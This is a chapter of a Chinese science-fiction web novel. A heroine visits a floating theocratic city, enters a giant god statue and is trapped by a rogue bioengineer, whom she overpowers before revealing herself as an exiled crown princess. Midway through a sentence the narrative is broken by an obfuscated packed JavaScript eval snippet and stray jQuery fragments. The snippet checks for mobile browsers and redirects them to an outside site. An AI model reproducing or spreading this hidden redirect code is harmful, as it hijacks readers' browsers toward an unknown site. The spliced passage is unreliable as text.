一座巨大的悬浮都市。


    这并非自然的造物，行星的主体被近乎彻底地掏空，仅剩下交错纵横、巨大到令人目眩神迷的金属骨架。它们奇迹般地支撑起一片城市平台，飘于无尽翻涌的云海之巅。


    神像伫立于天地之间。


    祂的材质无法辨认，通体柔白，温润细腻而富有光泽。容貌端庄，双眼闭阖，极其悲天悯人般，低垂着面孔。


    其双足深入地心，而其宽阔肩膀与高昂头颅却高耸入云，繁复冠冕抵住气层边缘，而精美长袍层层披落，如同凝固瀑布般，最终与脚下平台融为一体。


    以祂为中心，无数血管神经般的细密道路与蚁巢般密集的平矮建筑在城市内铺陈。这些建筑大多低伏，仿佛不敢僭越神像的威严，材质也多是相近的柔白色，使得整个城市在高处看来，宛如生长在神像衣袍上的连绵植被，虔诚而卑微。


    他们此刻正位于这座都市的侧方高空，尚未完全进入其大气层内。


    跃迁飞船再次停留了片刻，似乎要为斯彻底展露出这磅礴景象来。


    “欢迎莅临于此。”沙蒙站在她身旁，略带痴迷地凝望着这一切，“夜间俱乐部，为您呈现高度自治的神统星球——天官城，与我归神祗。”


    “祂是所有造物的统治者，端坐于宇宙天轮之上，万物于我，皆是回归，是征召，即是永恒。”


    此刻，这座悬浮都市正沉浸于某种盛大而狂热的庆典狂潮之中。从高空俯瞰，所有街巷广场都挤满了身着统一白灰长袍的居民，他们的面容被某种集体性的狂热与绝对虔诚所笼罩，手中捧着红带，汇成一股股汹涌而沉默的人潮，向着神像涌动。


    空中回荡着低沉悠扬的诵经乐音，循环往复，与下方人群持续不断的祈祷声交织混响，拥簇着他们踏上万层阶梯，密集而缓慢蠕动。


    仅凭肉身与信念，抵达神像胸口处的恩典之间，便能蒙受神恩，涤净罪孽与污浊，从而获得新生与永恒。


    白鹭帝国早已严令禁止所有神祗崇拜，皇帝本人坚信前帝国并非覆灭于他手，而是亡于内部的奢靡铺张与各种异端信仰。但新王朝依然有贵族私下追求超脱于科技之外的神明。


    求见神迹，肉/体飞升。


    沙蒙一如既往负责替他们排忧解难。


    斯对觐见神明略有兴趣，却对亲自去攀爬那万级台阶没有丝毫意愿。沙蒙显然亦然，他的优雅与得体着装可经不起这种体力上的折磨。


    飞船无声地滑入天官城的人造大气层，停悬在半空之中。


    升降梯带领他们落在某处人群稀少的台阶上。


    此地赫然已在云端之上。


    风声夹杂着经乐声，气流猎猎吹拂衣袍，从身旁呼啸而下。


    身旁艰难攀登的信徒们并没有朝他们或是飞船投来半点目光。


    他们完全沉浸于此，口中念念有词，白袍翻飞，当他们站立不稳时，便改用手爬，或者直径匍匐向上。


    狂热追逐。


    神像胸口前，巨门洞开。


    从四面八方汇聚而来的信徒们正沉默涌入其中，不见首尾。


    两人自然混入在队伍之中，一同进入了此地。


    光线逐渐被吞没，随后彻底进入漆黑之中。


    他们在一段走廊内无声前行，直至身前身后所有信徒们的呼吸声、脚步声都消失殆尽。


    绝对的寂静笼罩在两人身周。


    一盏灯亮起。


    而后是第二盏、第三盏。


    它错落分布着，从瞳孔深处。


    神像内部墙壁上，密布着无数蜂巢般溶蚀洞孔，而其中密密麻麻吸附着无数奇异生物，他们探出上半身，瞳孔内迸射白光，好似灯盏照明。


    有些生物依稀可辨人形轮廓，裹着白袍，但暴露出的面容和肌肤又裹住角质与甲壳，金属部件在臂膀处胡乱拼接，撑起扭曲躯体。


    又有兽头与机械构造体生硬地挤在一起，锈迹钉死在残缺血肉与韧质皮肤上，从它被扳开的口中，探出另一颗表情麻木、双目发光的人首来。


    洞孔与死寂的造物们层层叠叠而上，没入更深沉的黑暗内。


    而黑暗中此时传来重物降落的声音。


    我归神祗此时将祂一颗眼珠伸进自己身躯内来。数条粗壮血管构的连杆与管线悬挂连接着它，正滴溜溜地转着，硕大，混白，正中印着三重结构。


    由尖锐碎片构成的漆黑的环。


    将黑环包裹其中，完美到毫无瑕疵的金色圆环。


    圆环之外均匀辐射出十三根锥形尖刺。


    眼球停住了下降的趋势。


    洞孔内的附着物们苏醒过来，无数条手臂陡然开始疯狂生长——属于人类的、布满鳞片或毛发的、完全由金属构造而成的。它们从四面八方的孔洞中伸出，交织、缠绕、堆叠，托举成一片不断蠕动起伏的平台，递送到两人脚下。


    沙蒙先跃了上去。


    斯随之跳上。


    手臂托举着二人，向上方那颗巨大的眼球升去。


    眼球调转了方向，它自他们头顶挂住，与两人对视，三重结构的印记如同从天穹般压下，而浓烈防腐药液与金属锈蚀的味道几乎是覆盖了半空，几乎要凝成实质，压迫着他们的呼吸。


    眼球自正中裂开，参差不齐的豁口拉扯着无数根黏滑血线，最终扯裂出通道。


    它微微搏动着，边缘伸缩。


    手臂将他们送入其中，旋即迅速缩回。


    豁口闭阖。


    在黑暗之中，两人往前走了数步。


    玻璃罩轰然落下，还未等完全与地面锁死严实，麻醉气体已自罩壁四周无数细密孔中猛烈喷涌而出，它浓烈到几乎瞬间凝结为乳白色液滴，充盈了整个玻璃罩内。


    与此同时，头顶灯光遽然亮起，打出雪白刺目一片地面来。


    沙蒙毫无防备，或许他只做了将目标人物送到此处的打算，却没料到自己也成为送上门的猎物之一。


    他甚至都没发出惊呼声，就重重摔在玻璃罩内壁上，又软软地瘫倒在地，失去了意识。


    随着呼吸，他脸上的肌肤开始溃烂塌陷，很快便无法在骨架上挂住。


    有人在黑暗之中准备走出。


    却讶然停住了脚步。


    斯正把她的脸贴在了玻璃罩上，面容挤压而微微变形。她甚至抬起一只手，用指尖轻轻敲了敲玻璃，试图与黑暗中的前来者打招呼。


    “你——好。”


    她嘴型夸张地比着。


    现在她来觐见神祗了，在这天官城内肆意改造生物，亵渎基因工程技术，将伦理道德彻底踩在脚底下的神祗。


    真正的我归。


    我归终于从黑暗中完全走出。


    他剃着光头，身着白袍，面容像是被打磨光滑，除尽了所有毛发。


    顶光一览无余照在了他脸上。


    在脖颈左侧，绘有一个标记。


    金色完美圆环之外，均匀地辐射出十三根细长尖锐的锥形尖刺。


    他在玻璃罩面前停住了，伸手示意。


    头顶灯光随之蜿蜒，惨白光束直径照向斯。


    “神经屏蔽麻醉？改造了嗅觉上皮细胞与整个呼吸过滤系统？”他喃喃地说，“视觉系统看起来也完全正常，没有流泪，眼白没有充血变色，行动没有受阻，皮肤系统也有也有相应的抗腐蚀抗渗透修改……”


    玻璃罩随之向后倾斜，金属底座抬升，两侧护板滑开，弹射出八支


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432346|182672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    精密机械臂。


    它们从不同角度进行对准。


    沙蒙滚到了角落，又是狠狠一头撞在了护板上。


    他尚未苏醒，蜷缩成一团。


    面容更为可怖了。


    其中最靠近斯头部的几支机械臂打开了末端结构，探针自内旋转伸出，一圈十根，正在调试着角度。


    斯看着那些熟悉探针，眼角抽搐。


    等等——


    她启动了臂环。


    无数细微的纳米单元以肉眼根本无法捕捉的速度覆盖住整片右臂，机甲鳞片滋滋翻起，当最后一块甲叶贴住指尖时，合金钻头已抵住玻璃，顷刻将它粉碎。


    麻醉气体混合着无数玻璃碎片，四散喷涌，响彻房间。


    我归没有后退。


    飞溅的玻璃碎片从他脸上飞过，皮肤在割裂的瞬间，伤口下仿佛有数百万条细微无比的红色虫子蠕动交织，将其瞬间将其修复如初。


    甚至有一块较大的碎片扎入了他的左眼，但那眼球只是微微一颤，便将碎片吐了出来。


    渗液还未滑到嘴角，整片眼眶已然被疯狂蠕动的肉芽覆拢。


    当斯从玻璃罩内蹿出时，机械臂与探针悍然发动了攻击，尤其是那二十根探针，竟然有数米之长，丝毫不管医疗舱里面的人处于何种姿态，只顾追溯着热源线引导，朝锁定区域冲去——


    当斯将我归按倒在地上时，一根探针斜斜插/入她的后脑内。


    快到一触即分。


    机械臂死死钳制住我归的喉咙，他或许复原能力一流，但克罗克的合金钻头绝对能在他愈合之前，将他的大脑来回洞穿数百次。


    而我归此时露出了全然骇异与难以置信的表情。


    他被掐到几近缺氧，脸色由白转青，眼球快要凸出眼眶，说话都断断续续。


    “芯片？！……你脑内是谁给你植入的芯片？”


    “是啊，芯片。”


    斯还有闲情逸致摸了摸后脑勺，触感又湿又黏，大概血液黏住了头发。


    她居高临下打量着我归，细致地、慢条斯理地打量着他。


    “守门人第四代，完成于旧帝国覆灭之后。”


    “由前帝国科技院麾下，隶属于皇帝陛下私人部门，疫医卡夫卡·托兰西与虫师克罗克·马斯特斯，两位天才师徒协力完成的精彩之作。”


    “夏宫被焚烧后，疫医携带几乎所有核心研究数据神秘失踪，而虫师藏匿了唯一的第四代芯片原型逃亡，于一年后重献于前皇帝。”


    斯已经很久没有主动去回忆那些遥远的往事了。


    它们如同被风沙不断侵蚀的墓碑，恍若隔了数个光年般遥不可及。


    她语气太过于平静，好似在讲述他人的故事。


    我归瞪视着斯，他的眼球微微发银，显然正在调动内置的扫描系统，试图从所有存储的信息内寻找到任何一丝一毫熟悉的影子。


    斯知道他在扫描面容骨骼结构，或许已经从探针上的血液提取出她的基因，开始进行样本对比。


    但是他注定要失败。


    芯片早已深度介入她的生命系统。她以芯片的要求与期待生长着、被重塑着，它洗涤掉了她体内流淌的血液，修改了与她父亲肖似的面容骨骼，甚至潜移默化地更替了她的指纹、虹膜纹理以及一切可以被定义为生物密码的特征。


    “托你和克罗克的福，在七位皇兄殿下相继归天后。”


    斯微微俯下/身，声音轻得像是一声叹息，


    “鸢花帝国现第一位顺位继承人，亡国皇太女，阿斯特丽德·格赛·布里萨克，向你问候。”


    “别来无恙，疫医阁下。”


    卡夫卡·托兰西的表情如同见了鬼般。